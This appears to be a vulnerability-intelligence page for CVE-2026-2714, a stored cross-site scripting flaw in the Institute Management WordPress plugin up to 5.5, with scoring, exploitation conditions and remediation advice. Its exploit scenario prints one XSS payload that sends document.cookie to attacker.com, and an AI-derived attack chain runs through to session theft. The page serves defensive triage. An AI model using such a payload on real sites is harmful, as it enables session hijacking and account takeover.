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Institute Management CVE-2026-2714

| EUVDEUVD-2026-24636 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-22 Wordfence GHSA-4mj3-26h4-xjcm
4.4
CVSS 3.1 · NVD
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise admin credentials
  2. Delivery
    Access plugin settings
  3. Exploit
    Inject XSS in Enquiry Form Title
  4. Execution
    JavaScript executes in user browsers
  5. Persist
    Steal cookies or session tokens
  6. Impact
    Account takeover or data exfiltration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) authenticated Administrator-level or above account access to the WordPress backend; (2) multi-site WordPress installation OR single-site installation with unfiltered_html capability explicitly disabled; (3) access to the Institute Management plugin settings page (admin/inc/wl_im_settings.php); (4) user victims must visit a page displaying the affected Enquiry Form Title output. Single-site installations with default unfiltered_html capability enabled are NOT affected, as WordPress core filters will strip tags. The vulnerability does NOT affect unauthenticated remote attackers or lower-privileged user roles (Contributor, Author, Editor without admin capability).

Impact

This is a low real-world priority despite stored XSS classification. Multiple factors significantly constrain exploitability: (1) CVSS PR:H (Administrator-level access required) means only trusted insiders or accounts compromised through other means can trigger the vulnerability; (2) AC:H (High Complexity) suggests non-trivial conditions or configuration state must be met; (3) the multi-site AND unfiltered_html-disabled requirement creates a compound condition that eliminates the majority of WordPress installations; (4) S:C (Changed Scope) indicates the XSS is scoped to an administrative context, not site-wide user interactions. No KEV status, POC, or EPSS score provided. The vulnerability aligns more with privilege escalation (admin exploits admin) or post-compromise lateral movement (insider threat) than broad external attack. Organizations running single-site WordPress with default unfiltered_html capability enabled are unaffected. This should not trigger emergency patching protocols but should be included in routine plugin updates.

Exploit ScenarioDerived

An authenticated Administrator account (either a trusted insider or compromised via credential theft or session hijacking) navigates to Institute Management plugin settings and injects JavaScript into the 'Enquiry Form Title' field, e.g., '<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">'. When the enquiry form is displayed on the front-end, the stored XSS payload executes in users' browsers, stealing cookies or redirecting to a phishing site. On a multi-site installation, the payload could affect all subsite users accessing the form.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 22, 2026

Stored Cross-Site Scripting in Institute Management plugin for WordPress up to version 5.5 allows authenticated administrators to inject arbitrary JavaScript via the 'Enquiry Form Title' setting, which executes when users access affected pages. The vulnerability is limited to multi-site WordPress installations or sites with unfiltered_html disabled. CVSS 4.4 reflects high privilege requirements (PR:H) and conditional scope (multi-site only), but the stored XSS nature and administrator access requirement make this a targeted insider threat rather than a broad attack surface.

RemediationAI

Patch to Institute Management plugin version 5.6 or later (vendor patch version not explicitly confirmed in provided data; verify latest release at WordPress plugin repository). The fix applies proper escaping/sanitization to the Enquiry Form Title setting in wl_im_settings.php. No workarounds are practical for multi-site or unfiltered_html-disabled environments short of disabling the plugin. Immediate mitigation: restrict Administrator role to trusted users only and review admin account activity logs for unauthorized setting changes. For single-site installations with unfiltered_html enabled (default), risk is eliminated by configuration but patching is still recommended for defense-in-depth. Update via WordPress admin dashboard Plugins > Updates or download from https://plugins.trac.wordpress.org/browser/institute-management/.

Affected VersionsENISA

Institute Management – Learning Management System 0 ≤5.5

Affected Packages

euvd institute_management_learning_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Institute Management plugin (Weblizar) fails to properly sanitize and escape user input in the 'Enquiry Form Title' administrative setting before storing and rendering it in page output. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability. The root cause is insufficient use of WordPress escaping functions (such as esc_attr() or esc_html()) when outputting the setting value. The vulnerability only manifests in specific WordPress configurations: multi-site installations where capabilities are distributed across sites, or installations where the unfiltered_html capability has been explicitly disabled (common on shared hosting and security-hardened environments). CPE cpe:2.3:a:weblizar:institute_management_-_learning_management_system identifies the affected plugin across all versions through 5.5.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 4.4 MEDIUM
AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Institute Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Enquiry Form Title' setting in all versions up to, and including, 5.5. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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